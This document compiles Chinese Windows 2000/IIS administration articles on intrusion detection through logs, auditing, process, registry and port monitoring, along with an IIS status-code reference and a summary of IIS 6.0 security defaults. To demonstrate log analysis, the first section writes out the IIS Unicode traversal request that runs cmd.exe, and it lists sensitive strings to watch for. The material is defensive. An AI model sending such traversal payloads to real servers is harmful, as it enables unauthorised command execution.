    现在我们再假设（怎么老是假设呀，烦不烦？）别急呀，我不能为了写这篇文章真的去黑掉一台主机，所以只好假设了，我们假设一台WEB服务器，开放了WWW服务，你是这台服务器的系统管理员，已经小心地配置了IIS，使用W3C扩展的日志格式，并至少记录了时间（Time）、客户端IP（Client IP）、方法（Method）、URI资源(URI Stem)、URI查询(URI Query)，协议状态（Protocol Status)，我们用最近比较流行的Unicode漏洞来进行分析：打开IE的窗口，在地址栏输入：127.0.0.1/scripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir 默认的情况下你可以看到目录列表（什么？你已经做过安全配置了，看不到？恢复默认安装，我们要做个实验），让我们来看看IIS的日志都记录了些什么，打开Ex010318.log（Ex代表W3C扩展格式，后面的一串数字代表日志的记录日期）：07:42:58 127.0.0.1 GET /scripts/..\../winnt/system32\cmd.exe /c+dir 200上面这行日志表示在格林威治时间07:42:58（就是北京时间23:42:58），有一个家伙（入侵者）从127.0.0.1的IP在你的机器上利用Unicode漏洞（%c1%1c被解码为"\"，实际的情况会因为Windows语言版本的不同而有略微的差别）运行了cmd.exe，参数是/c dir，运行结果成功（HTTP 200代表正确返回）。(哇，记录得可真够全的，以后不敢随便乱玩Unicode了)
    大多数情况下，IIS的日志会忠实地记录它接收到的任何请求（也有特殊的不被IIS记录的攻击，这个我们以后再讨论），所以，一个优秀的系统管理员应该擅长利用这点来发现入侵的企图，从而保护自己的系统。但是，IIS的日志动辄数十兆、流量大的网站甚至数十G，人工检查几乎没有可能，唯一的选择就是使用日志分析软件，用任何语言编写一个日志分析软件（其实就是文本过滤器）都非常简单，不过考虑到一些实际情况（比如管理员不会写程序，或者服务器上一时找不到日志分析软件），我可以告诉大家一个简单的方法，比方说你想知道有没有人从80端口上试图取得你的Global.asa文件，可以使用以下的CMD命令：find "Global.asa" ex010318.log /i这个命令使用的是NT自带的find.exe工具（所以不怕紧急情况找不着），可以轻松的从文本文件中找到你想过滤的字符串，"Global.asa"是需要查询的字符串，ex010318.log是待过滤的文本文件，/i代表忽略大小写。因为我无意把这篇文章写成微软的Help文档，所以关于这个命令的其他参数以及它的增强版FindStr.exe的用法请去查看Win2000的帮助文件。
    无论是基于日志分析软件或者是Find命令，你都可以建立一张敏感字符串列表，包含已有的IIS漏洞（比如"+.htr"）以及未来将要出现的漏洞可能会调用的资源（比如Global.asa或者cmd.exe），通过过滤这张不断更新的字符串表，一定可以尽早了解入侵者的行动。
    需要提醒的是，使用任何日志分析软件都会占用一定的系统资源，因此，对于IIS日志分析这样低优先级的任务，放在夜里空闲时自动执行会比较合适，如果再写一段脚本把过滤后的可疑文本发送给系统管理员，那就更加完美了。同时，如果敏感字符串表较大，过滤策略复杂，我建议还是用C写一个专用程序会比较合算。
2、 基于安全日志的检测
    通过基于IIS日志的入侵监测，我们能提前知道窥伺者的行踪（如果你处理失当，窥伺者随时会变成入侵者），但是IIS日志不是万能的，它在某种情况下甚至不能记录来自80端口的入侵，根据我对IIS日志系统的分析，IIS只有在一个请求完成后才会写入日志，换言之，如果一个请求中途失败，日志文件中是不会有它的踪影的（这里的中途失败并不是指发生HTTP400错误这样的情况，而是从TCP层上没有完成HTTP请求，例如在POST大量数据时异常中断），对于入侵者来说，就有可能绕过日志系统完成大量的活动。
    而且，对于非80 Only的主机，入侵者也可以从其它的服务进入服务器，因此，建立一套完整的安全监测系统是非常必要的。
    Win2000自带了相当强大的安全日志系统，从用户登录到特权的使用都有非常详细的记录，可惜的是，默认安装下安全审核是关闭的，以至于一些主机被黑后根本没法追踪入侵者。所以，我们要做的第一步是在管理工具-本地安全策略-本地策略-审核策略中打开必要的审核，一般来说，登录事件与账户管理是我们最关心的事件，同时打开成功和失败审核非常必要，其他的审核也要打开失败审核，这样可以使得入侵者步步维艰，一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题，如果没有很好的配置安全日志的大小及覆盖方式，一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下，将安全日志的大小指定为50MB并且只允许覆盖7天前的日志可以避免上述情况的出现。
    设置了安全日志却不去检查跟没有设置安全日志几乎一样糟糕（唯一的优点是被黑了以后可以追查入侵者），所以，制定一个安全日志的检查机制也是非常重要的，作为安全日志，推荐的检查时间是每天上午，这是因为，入侵者喜欢夜间行动（速度快呀，要不你入侵到一半的时候连不上了，那可是哭都哭不出来）上午上班第一件事正好看看日志有没有异常，然后就可以放心去做其他的事了。如果你喜欢，也可以编写脚本每天把安全日志作为邮件发送给你（别太相信这个了，要是哪个高手上去改了你的脚本，每天发送"平安无事"……）
    除了安全日志，系统日志和应用程序日志也是非常好的辅助监测工具，一般来说，入侵者除了在安全日志中留下痕迹（如果他拿到了Admin权限，那么他一定会去清除痕迹的），在系统和应用程序日志中也会留下蛛丝马迹，作为系统管理员，要有不放过任何异常的态度，这样入侵者就很难隐藏他们的行踪。
3、 文件访问日志与关键文件保护
    除了系统默认的安全审核外，对于关键的文件，我们还要加设文件访问日志，记录对他们的访问。
    文件访问有很多的选项：访问、修改、执行、新建、属性更改......一般来说，关注访问和修改就能起到很大的监视作用。
    例如，如果我们监视了系统目录的修改、创建，甚至部分重要文件的访问（例如cmd.exe,net.exe，system32目录），那么，入侵者就很难安放后门而不引起我们的注意，要注意的是，监视的关键文件和项目不能太多，否则不仅增加系统负担，还会扰乱日常的日志监测工作 （哪个系统管理员有耐心每天看四、五千条垃圾日志？）
    关键文件不仅仅指的是系统文件，还包括有可能对系统管理员/其他用户构成危害的任何文件，例如系统管理员的配置、桌面文件等等，这些都是有可能用来窃取系统管理员资料/密码的。
4、 进程监控
    进程监控技术是追踪木马后门的另一个有力武器，90%以上的木马和后门是以进程的形式存在的（也有以其他形式存在的木马，参见《揭开木马的神秘面纱三》），作为系统管理员，了解服务器上运行的每个进程是职责之一（否则不要说安全，连系统优化都没有办法做），做一份每台服务器运行进程的列表非常必要，能帮助管理员一眼就发现入侵进程，异常的用户进程或者异常的资源占用都有可能是非法进程。除了进程外，DLL也是危险的东西，例如把原本是exe类型的木马改写为dll后，使用rundll32运行就比较具有迷惑性。
5、 注册表校验
    一般来说，木马或者后门都会利用注册表来再次运行自己，所以，校验注册表来发现入侵也是常用的手法之一。一般来说，如果一个入侵者只懂得使用流行的木马，那么由于普通木马只能写入特定的几个键值（比如Run、Runonce等等），查找起来是相对容易的，但是对于可以自己编写/改写木马的人来说，注册表的任何地方都可以藏身，靠手工查找就没有可能了。（注册表藏身千变万化，例如需要特别提出来的FakeGina技术，这种利用WINNT外嵌登录DLL（Ginadll）来获得用户密码的方法最近比较流行，一旦中招，登录用户的密码就会被记录 无遗，具体的预防方法我这里就不介绍了。）应对的方法是监控注册表的任何改动，这样改写注册表的木马就没有办法遁形了。监控注册表的软件非常多，很多追查木马的软件都带有这样的功能，一个监控软件加上定期对注册表进行备份，万一注册表被非授权修改，系统管理员也能在最短的时间内恢复。
6、端口监控
    虽然说不使用端口的木马已经出现，但是大部分的后门和木马还是使用TCP连接的，监控端口的状况对于由于种种原因不能封锁端口的主机来说就是非常重要的了，我们这里不谈使用NDIS网卡高级编程的IDS系统，对于系统管理员来说，了解自己服务器上开放的端口甚至比对进程的监控更加重要，常常使用netstat查看服务器的端口状况是一个良好的习惯，但是并不能24小时这样做，而且NT的安全日志有一个坏习惯，喜欢记录机器名而不是IP（不知道比尔盖子怎么想的），如果你既没有防火墙又没有入侵检测软件，倒是可以用脚本来进行IP日志记录的，看着这个命令：
netstat -n -p tcp 10>>Netstat.log,这个命令每10秒钟自动查看一次TCP的连接状况，基于这个命令我们做一个Netlog.bat文件:
time /t>>Netstat.log
Netstat -n -p tcp 10>>Netstat.log
    这个脚本将会自动记录时间和TCP连接状态，需要注意的是：如果网站访问量比较大，这样的操作是需要消耗一定的CPU时间的，而且日志文件将越来越大，所以请慎之又慎。（要是做个脚本就完美无缺，谁去买防火墙？:）
    一旦发现异常的端口，可以使用特殊的程序来关联端口、可执行文件和进程(如inzider就有这样的功能，它可以发现服务器监听的端口并找出与该端口关联的文件，inzider可以http://www.nttoolbox.com下载到)，这样无论是使用TCP还是UDP的木马都无处藏身。
7、终端服务的日志监控
    单独将终端服务（Terminal Service）的日志监控分列出来是有原因的，微软Win2000服务器版中自带的终端服务Terminal Service是一个基于远程桌面协议（RDP）的工具，它的速度非常快，也很稳定，可以成为一个很好的远程管理软件，但是因为这个软件功能强大而且只受到密码的保护，所以也非常的危险，一旦入侵者拥有了管理员密码，就能够象本机一样操作远程服务器（不需要高深的NT命令行技巧，不需要编写特殊的脚本和程序，只要会用鼠标就能进行一切系统管理操作，实在是太方便、也实在是太可怕了）。虽然很多人都在使用终端服务来进行远程管理，但是，并不是人人都知道如何对终端服务进行审核，大多数的终端服务器上并没有打开终端登录的日志，其实打开日志审核是很容易的，在管理工具中打开远程控制服务配置（Terminal Service Configration），点击"连接"，右击你想配置的RDP服务（比如 RDP-TCP(Microsoft RDP 5.0)，选中书签"权限"，点击左下角的"高级"，看见上面那个"审核"了么？我们来加入一个Everyone组，这代表所有的用户，然后审核他的"连接"、"断开"、"注销"的成功和"登录"的成功和失败就足够了，审核太多了反而不好，这个审核是记录在安全日志中的，可以从"管理工具"->"日志查看器"中查看。现在什么人什么时候登录我都一清二楚了，可是美中不足的是：这个破烂玩艺居然不记录客户端的IP（只能查看在线用户的IP），而是华而不实的记录什么机器名，倒！要是别人起个PIG的机器名你只好受他的嘲弄了，不知道微软是怎么想的，看来还是不能完全依赖微软呀，我们自己来吧？写个程序，一切搞定，你会C么？不会？VB呢？也不会？Delphi？……什么？你什么编程语言都不会？我倒，毕竟系统管理员不是程序员呀，别急别急，我给你想办法，我们来建立一个bat文件，叫做TSLog.bat，这个文件用来记录登录者的IP，内容如下：
time /t >>TSLog.log
netstat -n -p tcp | find ":3389">>TSLog.log
start Explorer
我来解释一下这个文件的含义：
第一行是记录用户登录的时间，time /t的意思是直接返回系统时间（如果不加/t，系统会等待你输入新的时间） ，然后我们用追加符号">>"把这个时间记入TSLog.log作为日志的时间字段；
第二行是记录用户的IP地址，netstat是用来显示当前网络连接状况的命令，-n表示显示IP和端口而不是域名、协议，-ptcp是只显示tcp协议，然后我们用管道符号"|"把这个命令的结果输出给find命令，从输出结果中查找包含":3389"的行（这就是我们要的客户的IP所在的行，如果你更改了终端服务的端口，这个数值也要作相应的更改），最后我们同样把这个结果重定向到日志文件TSLog.log中去，于是在SLog.log文件中，记录格式如下：
22:40
TCP　　192.168.12.28:3389　　192.168.10.123:4903　　　ESTABLISHED
22:54
TCP　　192.168.12.28:3389　　 192.168.12.29:1039　　　ESTABLISHED
也就是说只要这个TSLog.bat文件一运行，所有连在3389端口上的IP都会被记录，那么如何让这个批处理文件自动运行呢？我们知道，终端服务允许我们为用户自定义起始的程序，在终端服务配置中，我们覆盖用户的登录脚本设置并指定TSLog.bat为用户登录时需要打开的脚本，这样每个用户登录后都必须执行这个脚本，因为默认的脚本（相当于shell环境）是Explorer（资源管理器），所以我在TSLog.bat的最后一行加上了启动Explorer的命令startExplorer，如果不加这一行命令，用户是没有办法进入桌面的！当然，如果你只需要给用户特定的Shell：
例如cmd.exe或者word.exe你也可以把start Explorer替换成任意的shell。这个脚本也可以有其他的写法，作为系统管理员，你完全可以自由发挥你的想象力、自由利用自己的资源，例如写一个脚本把每个登录用户的IP发送到自己的信箱对于重要的服务器也是一个很好的方法。正常情况下一般的用户没有查看终端服务设置的权限，所以他不会知道你对登录进行了IP审核，只要把TSLog.bat文件和TSLog.log文件放在比较隐蔽的目录里就足够了，不过需要注意的是这只是一个简单的终端服务日志策略，并没有太多的安全保障措施和权限机制，如果服务器有更高的安全要求，那还是需要通过编程或购买入侵监测软件来完成的。
8、陷阱技术
    早期的陷阱技术只是一个伪装的端口服务用来监测扫描，随着矛和盾的不断升级，现在的陷阱服务或者陷阱主机已经越来越完善，越来越象真正的服务，不仅能截获半开式扫描，还能伪装服务的回应并记录入侵者的行为，从而帮助判断入侵者的身份。
    我本人对于陷阱技术并不是非常感兴趣，一来从技术人员角度来说，低调行事更符合安全的原则；二来陷阱主机反而成为入侵者跳板的情况并不仅仅出现在小说中，在现实生活中也屡见不鲜，如果架设了陷阱反而被用来入侵，那真是偷鸡不成了。
    记得CoolFire说过一句话，可以用来作为对陷阱技术介绍的一个结束：在不了解情况时，不要随便进入别人的系统，因为你永远不能事先知道系统管理员是真的白痴或者伪装成白痴的天才......
    入侵监测的初步介绍就到这里，在实际运用中，系统管理员对基础知识掌握的情况直接关系到他的安全敏感度，只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子，未雨绸缪，扼杀入侵的行动。


IIS状态代码 错误码

原文出处：http://support.microsoft.com/default.aspx?scid=kb;zh-cn;318380
概要
当用户试图通过 HTTP 或文件传输协议 (FTP) 访问一台正在运行 Internet 信息服务 (IIS) 的服务器上的内容时，IIS 返回一个表示该请求的状态的数字代码。该状态代码记录在 IIS 日志中，同时也可能在 Web 浏览器或 FTP 客户端显示。状态代码可以指明具体请求是否已成功，还可以揭示请求失败的确切原因。
更多信息
日志文件的位置
在默认状态下，IIS 把它的日志文件放在 %WINDIR\System32\Logfiles 文件夹中。每个万维网 (WWW) 站点和 FTP 站点在该目录下都有一个单独的目录。在默认状态下，每天都会在这些目录下创建日志文件，并用日期给日志文件命名（例如，exYYMMDD.log）。
HTTP
1xx - 信息提示
这些状态代码表示临时的响应。客户端在收到常规响应之前，应准备接收一个或多个 1xx 响应。
100 - 继续。
101 - 切换协议。
2xx - 成功
这类状态代码表明服务器成功地接受了客户端请求。
200 - 确定。客户端请求已成功。
201 - 已创建。
202 - 已接受。
203 - 非权威性信息。
204 - 无内容。
205 - 重置内容。
206 - 部分内容。
3xx - 重定向
客户端浏览器必须采取更多操作来实现请求。例如，浏览器可能不得不请求服务器上的不同的页面，或通过代理服务器重复该请求。
302 - 对象已移动。
304 - 未修改。
307 - 临时重定向。
4xx - 客户端错误
发生错误，客户端似乎有问题。例如，客户端请求不存在的页面，客户端未提供有效的身份验证信息。
400 - 错误的请求。
401 - 访问被拒绝。IIS 定义了许多不同的 401 错误，它们指明更为具体的错误原因。这些具体的错误代码在浏览器中显示，但不在 IIS 日志中显示：
401.1 - 登录失败。
401.2 - 服务器配置导致登录失败。
401.3 - 由于 ACL 对资源的限制而未获得授权。
401.4 - 筛选器授权失败。
401.5 - ISAPI/CGI 应用程序授权失败。
401.7 – 访问被 Web 服务器上的 URL 授权策略拒绝。这个错误代码为 IIS 6.0 所专用。
403 - 禁止访问：IIS 定义了许多不同的 403 错误，它们指明更为具体的错误原因：
403.1 - 执行访问被禁止。
403.2 - 读访问被禁止。
403.3 - 写访问被禁止。
403.4 - 要求 SSL。
403.5 - 要求 SSL 128。
403.6 - IP 地址被拒绝。
403.7 - 要求客户端证书。
403.8 - 站点访问被拒绝。
403.9 - 用户数过多。
403.10 - 配置无效。
403.11 - 密码更改。
403.12 - 拒绝访问映射表。
403.13 - 客户端证书被吊销。
403.14 - 拒绝目录列表。
403.15 - 超出客户端访问许可。
403.16 - 客户端证书不受信任或无效。
403.17 - 客户端证书已过期或尚未生效。
403.18 - 在当前的应用程序池中不能执行所请求的 URL。这个错误代码为 IIS 6.0 所专用。
403.19 - 不能为这个应用程序池中的客户端执行 CGI。这个错误代码为 IIS 6.0 所专用。
403.20 - Passport 登录失败。这个错误代码为 IIS 6.0 所专用。
404 - 未找到。
404.0 -（无） – 没有找到文件或目录。
404.1 - 无法在所请求的端口上访问 Web 站点。
404.2 - Web 服务扩展锁定策略阻止本请求。
404.3 - MIME 映射策略阻止本请求。
405 - 用来访问本页面的 HTTP 谓词不被允许（方法不被允许）
406 - 客户端浏览器不接受所请求页面的 MIME 类型。
407 - 要求进行代理身份验证。
412 - 前提条件失败。
413 – 请求实体太大。
414 - 请求 URI 太长。
415 – 不支持的媒体类型。
416 – 所请求的范围无法满足。
417 – 执行失败。
423 – 锁定的错误。
5xx - 服务器错误
服务器由于遇到错误而不能完成该请求。
500 - 内部服务器错误。
500.12 - 应用程序正忙于在 Web 服务器上重新启动。
500.13 - Web 服务器太忙。
500.15 - 不允许直接请求 Global.asa。
500.16 – UNC 授权凭据不正确。这个错误代码为 IIS 6.0 所专用。
500.18 – URL 授权存储不能打开。这个错误代码为 IIS 6.0 所专用。
500.100 - 内部 ASP 错误。
501 - 页眉值指定了未实现的配置。
502 - Web 服务器用作网关或代理服务器时收到了无效响应。
502.1 - CGI 应用程序超时。
502.2 - CGI 应用程序出错。application.
503 - 服务不可用。这个错误代码为 IIS 6.0 所专用。
504 - 网关超时。
505 - HTTP 版本不受支持。
常见的 HTTP 状态代码及其原因
200 - 成功。 此状态代码表示 IIS 已成功处理请求。
304 - 未修改。 客户端请求的文档已在其缓存中，文档自缓存以来尚未被修改过。客户端使用文档的缓存副本，而不从服务器下载文档。
401.1 - 登录失败。 登录尝试不成功，可能因为用户名或密码无效。
401.3 - 由于 ACL 对资源的限制而未获得授权。 这表示存在 NTFS 权限问题。即使您对试图访问的文件具备相应的权限，也可能发生此错误。例如，如果 IUSR 帐户无权访问 C:\Winnt\System32\Inetsrv 目录，您会看到这个错误。 有关如何解决此问题的其他信息，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
187506 INFO: IIS 4.0 的基础 NTFS 权限
403.1 - 执行访问被禁止。 下面是导致此错误信息的两个常见原因：
您没有足够的执行许可。例如，如果试图访问的 ASP 页所在的目录权限设为“无”，或者，试图执行的 CGI 脚本所在的目录权限为“只允许脚本”，将出现此错误信息。若要修改执行权限，请在 Microsoft 管理控制台 (MMC) 中右击目录，然后依次单击属性和目录选项卡，确保为试图访问的内容设置适当的执行权限。
您没有将试图执行的文件类型的脚本映射设置为识别所使用的谓词（例如，GET 或 POST）。若要验证这一点，请在 MMC 中右击目录，依次单击属性、目录选项卡和配置，然后验证相应文件类型的脚本映射是否设置为允许所使用的谓词。
403.2 - 读访问被禁止。验证是否已将 IIS 设置为允许对目录进行读访问。另外，如果您正在使用默认文件，请验证该文件是否存在。 有关如何解决此问题的其他信息，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
247677 错误信息：403.2 Forbidden:Read Access Forbidden（403.2 禁止访问：读访问被禁止）
403.3 - 写访问被禁止。 验证 IIS 权限和 NTFS 权限是否已设置以便向该目录授予写访问权。有关如何解决此问题的其他信息，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
248072 错误信息：403.3 Forbidden:Write Access Forbidden（403.3 禁止访问：写访问被禁止）
403.4 - 要求 SSL。禁用要求安全通道选项，或使用 HTTPS 代替 HTTP 来访问该页面。如果没有安装证书的 Web 站点出现此错误，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
224389 错误信息：HTTP 错误 403、403.4、403.5 禁止访问：要求 SSL
403.5 - 要求 SSL 128。禁用要求 128 位加密选项，或使用支持 128 位加密的浏览器以查看该页面。如果没有安装证书的 Web 站点出现此错误，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
224389 错误信息：HTTP 错误 403、403.4、403.5 禁止访问：要求 SSL
403.6 - IP 地址被拒绝。您已把您的服务器配置为拒绝访问您目前的 IP 地址。 有关如何解决此问题的其他信息，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
248043 错误信息：403.6 - Forbidden:IP Address Rejected（403.6 - 不可用：IP 地址被拒绝）
403.7 - 要求客户端证书。您已把您的服务器配置为要求客户端身份验证证书，但您未安装有效的客户端证书。 有关其他信息，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
190004 错误 403.7 或“Connection to Server Could Not Be Established”（无法建立与服务器的连接）
186812 PRB：错误信息：403.7 Forbidden:Client Certificate Required（403.7 禁止访问：要求客户端证书）
403.8 - 站点访问被拒绝。您已为您用来访问服务器的域设置了域名限制。有关如何解决此问题的其他信息，请单击下面的文章编号，查看 Microsoft 知识库中相应的文章：
248032 错误信息：Forbidden:Site Access Denied 403.8（禁止访问：站点访问被拒绝 403.8）
403.9 - 用户数过多。与该服务器连接的用户数量超过了您设置的连接限制。 有关如何更改此限制的其他信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章：
248074 错误信息：Access Forbidden:Too Many Users Are Connected 403.9（禁止访问：连接的用户太多 403.9）
注意：Microsoft Windows 2000 Professional 和 Microsoft Windows XP Professional 自动设置了在 IIS 上最多 10 个连接的限制。您无法更改此限制。
403.12 - 拒绝访问映射表。 您要访问的页面要求提供客户端证书，但映射到您的客户端证书的用户 ID 已被拒绝访问该文件。 有关其他信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章：
248075 错误信息：HTTP 403.12 - Access Forbidden:Mapper Denied Access（HTTP 403.12 - 禁止访问：映射表拒绝访问）
404 - 未找到。 发生此错误的原因是您试图访问的文件已被移走或删除。如果在安装 URLScan 工具之后，试图访问带有有限扩展名的文件，也会发生此错误。这种情况下，该请求的日志文件项中将出现“Rejected by URLScan”的字样。
500 - 内部服务器错误。 很多服务器端的错误都可能导致该错误信息。事件查看器日志包含更详细的错误原因。此外，您可以禁用友好 HTTP 错误信息以便收到详细的错误说明。 有关如何禁用友好 HTTP 错误信息的其他信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章：
294807 如何在服务器端禁用 Internet Explorer 5 的“显示友好 HTTP 错误信息”功能
500.12 - 应用程序正在重新启动。 这表示您在 IIS 重新启动应用程序的过程中试图加载 ASP 页。刷新页面后，此信息即会消失。如果刷新页面后，此信息再次出现，可能是防病毒软件正在扫描 Global.asa 文件。 有关其他信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章：
248013 错误信息：HTTP Error 500-12 Application Restarting（HTTP 错误 500-12 应用程序正在重新启动）
500-100.ASP - ASP 错误。 如果试图加载的 ASP 页中含有错误代码，将出现此错误信息。若要获得更确切的错误信息，请禁用友好 HTTP 错误信息。默认情况下，只会在默认 Web 站点上启用此错误信息。有关如何在非默认的 Web 站点上看到此错误信息的其他信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章：
261200 显示 HTTP 500 错误信息，而不显示 500-100.asp 的 ASP 错误信息
502 - 网关错误。 如果试图运行的 CGI 脚本不返回有效的 HTTP 标头集，将出现此错误信息。
FTP
1xx - 肯定的初步答复
这些状态代码指示一项操作已经成功开始，但客户端希望在继续操作新命令前得到另一个答复。
110 重新启动标记答复。
120 服务已就绪，在 nnn 分钟后开始。
125 数据连接已打开，正在开始传输。
150 文件状态正常，准备打开数据连接。
2xx - 肯定的完成答复
一项操作已经成功完成。客户端可以执行新命令。
200 命令确定。
202 未执行命令，站点上的命令过多。
211 系统状态，或系统帮助答复。
212 目录状态。
213 文件状态。
214 帮助消息。
215 NAME 系统类型，其中，NAME 是 Assigned Numbers 文档中所列的正式系统名称。
220 服务就绪，可以执行新用户的请求。
221 服务关闭控制连接。如果适当，请注销。
225 数据连接打开，没有进行中的传输。
226 关闭数据连接。请求的文件操作已成功（例如，传输文件或放弃文件）。
227 进入被动模式 (h1,h2,h3,h4,p1,p2)。
230 用户已登录，继续进行。
250 请求的文件操作正确，已完成。
257 已创建“PATHNAME”。
3xx - 肯定的中间答复
该命令已成功，但服务器需要更多来自客户端的信息以完成对请求的处理。
331 用户名正确，需要密码。
332 需要登录帐户。
350 请求的文件操作正在等待进一步的信息。
4xx - 瞬态否定的完成答复
该命令不成功，但错误是暂时的。如果客户端重试命令，可能会执行成功。
421 服务不可用，正在关闭控制连接。如果服务确定它必须关闭，将向任何命令发送这一应答。
425 无法打开数据连接。
426 Connection closed; transfer aborted.
450 未执行请求的文件操作。文件不可用（例如，文件繁忙）。
451 请求的操作异常终止：正在处理本地错误。
452 未执行请求的操作。系统存储空间不够。
5xx - 永久性否定的完成答复
该命令不成功，错误是永久性的。如果客户端重试命令，将再次出现同样的错误。
500 语法错误，命令无法识别。这可能包括诸如命令行太长之类的错误。
501 在参数中有语法错误。
502 未执行命令。
503 错误的命令序列。
504 未执行该参数的命令。
530 未登录。
532 存储文件需要帐户。
550 未执行请求的操作。文件不可用（例如，未找到文件，没有访问权限）。
551 请求的操作异常终止：未知的页面类型。
552 请求的文件操作异常终止：超出存储分配（对于当前目录或数据集）。
553 未执行请求的操作。不允许的文件名。
常见的 FTP 状态代码及其原因
150 - FTP 使用两个端口：21 用于发送命令，20 用于发送数据。状态代码 150 表示服务器准备在端口 20 上打开新连接，发送一些数据。
226 - 命令在端口 20 上打开数据连接以执行操作，如传输文件。该操作成功完成，数据连接已关闭。
230 - 客户端发送正确的密码后，显示该状态代码。它表示用户已成功登录。
331 - 客户端发送用户名后，显示该状态代码。无论所提供的用户名是否为系统中的有效帐户，都将显示该状态代码。
426 - 命令打开数据连接以执行操作，但该操作已被取消，数据连接已关闭。
530 - 该状态代码表示用户无法登录，因为用户名和密码组合无效。如果使用某个用户帐户登录，可能键入错误的用户名或密码，也可能选择只允许匿名访问。如果使用匿名帐户登录，IIS 的配置可能拒绝匿名访问。
550 - 命令未被执行，因为指定的文件不可用。例如，要 GET 的文件并不存在，或试图将文件 PUT 到您没有写入权限的目录。
参考
若要获得更多的有关 HTTP 状态代码定义的信息，请访问下面的万维网联合会 (W3C) Web 站点：
状态代码定义
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10
若要获得更多的有关 FTP 状态代码定义的信息，请查看下列 W3C Web 站点的 4.2 部分（“FTP 应答”）：
文件传输功能
http://www.w3.org/Protocols/rfc959/4_FileTransfer.html
这篇文章中的信息适用于:
Microsoft Internet Information Server 4.0
Microsoft Internet Information Services 5.0
Microsoft Internet Information Services version 6.0
Microsoft Internet Information Services version 5.1
最近更新: 2004-6-25 (6.2)
关键字: kbinfo KB318380


IIS 6.0默认设置安全性的改变

文章来源：http://www.pcdog.com
由于Web服务器被越来越多的骇客和蠕虫制造者作为首要攻击目标，IIS便也成为了Microsoft可信赖计算计划中首要关注的内容。因此，IIS 6.0被完全的重新设计，以实现默认安全和设计安全。本文主要讲述了IIS 6.0在默认设置和设计上安全性的改变是如何使其成为关键web应用的平台。

    默认安全
    过去，包括像微软这样的企业
，都在他们的web服务器上安装一系列的默认示例脚本，文件处理和最小文件授权，以提高管理员管理的灵活性和可用性。但是，这些默认设置都增加了IIS的被攻击面，或者成为了攻击IIS的基础。因此，IIS 6.0被设计成了一个比早期产品更安全的平台。最显而易见的变化是IIS 6.0并没有被Windows Server 2003默认安装，而是需要管理员显式的安装这个组件。其他的变化包括：
    ·默认只安装静态HTTP服务器
    IIS 6.0的默认安装被设置为仅安装静态HTML页面显示所需的组件，而不允许动态内容。下表比较了IIS 5.0和IIS 6.0的默认安装设置：
    ·默认不安装应用范例
    IIS 6.0中不再包括任何类似showcode.asp或codebrws.asp等的范例脚本或应用。这些程序原被设计来方便程序员快速察看和调试数据库的连接代码，但是由于showcode.asp和codebrws.asp没有正确的进行输入检查，以确定所访问的文件是否位于站点根目录下。这就允许攻击者绕过它去读取系统中的任何一个文件（包括敏感信息和本应不可见的配置文件），参考以下链接以获取该漏洞的更多的细节：http://www.microsoft.com/technet/treeview/default.asp?
    url=/technet/security/bulletin/MS99-013.asp
    ·增强的文件访问控制
    匿名帐号不再具有web服务器根目录的写权限。另外，FTP用户也被相互隔离在他们自己的根目录中。这些限制有效的避免了用户向服务器文件系统的其他部分上传一些有害程序。例如攻击者可以向/scripts目录上传一些有害的可执行代码，并远程执行这些代码，从而攻击web站点。
    ·虚拟目录不再具有执行权限
    虚拟目录中不再允许执行可执行程序。这样避免了大量的存在于早期IIS系统中的目录遍历漏洞、上传代码漏洞以及MDAC漏洞。
    ·去除了子验证模块
    IIS 6.0中去除了IISSUBA.dll。任何在早期IIS版本中，需要该DLL模块来验证的账号，现在需要具有"从网络上访问这台计算机"的权限。这个DLL模块的去除，可以强制要求所有的访问都直接去SAM或者活动目录进行身份验证，从而减少IIS可能的被攻击面。
    ·父目录被禁用
    IIS 6.0中默认禁用了对父目录的访问。这样可以避免攻击者跨越web站点的目录结构，访问服务器上的其他敏感文件，如SAM文件等。当然也请注意，由于父目录默认被禁用，这可能导致一些从早期版本IIS上迁移过来的应用由于无法使用父目录而出错

安全设计
    IIS 6.0设计中安全性的根本改变表现在：改善的数据有效性、增强的日志功能、快速失败保护、应用程序隔离和最小权限原则。
    改善的数据有效性
    IIS 6.0设计上的一个主要新特性是工作在内核模式的HTTP驱动--HTTP.sys。它不仅提高了web服务器的性能和可伸缩性，而且极大程度的加强了服务器的安全性。HTTP.sys作为web服务器的门户，首先解析用户对web服务器的请求，然后指派一个合适的用户级工作进程来处理请求。工作进程被限制在用户模式以避免它访问未授权的系统核心资源。从而极大的限制了攻击者对服务器保护资源的访问。
    IIS 6.0通过在内核模式的驱动中整合一系列的安全机制，以提升其设计上固有的安全性。这些机制包括避免潜在的缓冲溢出，改善的日志机制以辅助事件响应进程和检查用户有效性请求的先进URL解析机制。
    为了第一时间的避免潜在的缓冲区和内存溢出漏洞的利用，微软通过在HTTP.sys中进行特殊的URL解析设置以实现IIS 6.0安全设计中的深度防御原则。这些设置还可以通过修改注册表中特定的键值来进一步优化。下表提供了主要注册表键值的位置（均在以下路径HKLM\System\CurrentControl\SetServices\HTTP\Parameters）：
    增强的日志机制
    一个全面的日志是检测或响应一个安全事故的基础要求。微软也意识到了在HTTP.sys中进行全面的、可靠的日志机制的重要性。HTTP.sys在将请求指派给特定的工作进程之前就进行日志记录。这样可以保证，即使工作进程中断了，也会保留一个错误日志。日志由发生错误的时间戳、来源目的IP和端口、协议版本、HTTP动作、URL地址、协议状态、站点ID和HTTP.sys的原因解释等条目构成。原因解释能够提供详细的错误产生原因的信息，如由于超时导致的错误，或由于工作进程的异常终止而引发的应用程序池强行切断连接而导致的错误。
